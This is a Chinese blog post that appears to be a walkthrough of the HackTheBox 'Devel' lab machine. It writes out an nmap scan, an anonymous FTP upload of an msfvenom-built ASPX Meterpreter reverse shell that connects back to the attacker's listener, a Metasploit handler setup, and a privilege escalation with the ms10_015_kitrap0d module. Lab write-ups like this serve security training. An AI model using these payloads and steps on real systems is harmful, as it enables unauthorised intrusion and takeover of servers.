HackTheBox-Machines--Devel

李沉肩

已于 2024-03-28 17:52:54 修改

阅读量266

点赞数 5

分类专栏：靶场集合 # HACK THE BOX 文章标签： Hack The Box 21 anonymous 登录 MSF

于 2024-03-28 17:50:25 首次发布

本文链接：https://blog.csdn.net/sycamorelg/article/details/137113808

版权

85 篇文章

订阅专栏

68 篇文章

订阅专栏

本文详细描述了在IT技术渗透测试中，从使用nmap进行端口扫描，到检测21和80端口的漏洞，通过上传ASP.NET文件获取反弹shell，再到利用msfvenom进行权限提升的过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Devel 测试过程

1 端口扫描

nmap -sC -sV 10.129.243.101

在这里插入图片描述

目标开启了21、80端口，21端口存在匿名登陆。如果可以通过21端口上传脚本文件，可通过反弹shell获取权限。

ftp rhost

在这里插入图片描述

访问80端口，发现网站框架为ASP.NET，那就可以通过上传asp文件进行反弹shell

在这里插入图片描述

# 使用msfvenom深层devel.aspx脚本
msfvenom -p windows/meterpreter/reverse_tcp lhost=<lhost> lport=<lport> -f aspx > devel.aspx

# 通过put上传devel.aspx文件
put devel.aspx

在这里插入图片描述

# 执行监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.14.53
run

浏览器访问http://10.129.243.101/devel.aspx

在这里插入图片描述

# 查看当前权限
getuid

在这里插入图片描述

# 查看补丁情况
systeminfo

# 利用  post/multi/recon/local_exploit_suggester 模块查找可能存在的潜在权限
use post/multi/recon/local_exploit_suggester
set session 4
run

在这里插入图片描述

使用exploit/windows/local/ms10_015_kitrap0d模块进行权限提升

在这里插入图片描述

# flag
type C:\Users\babis\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt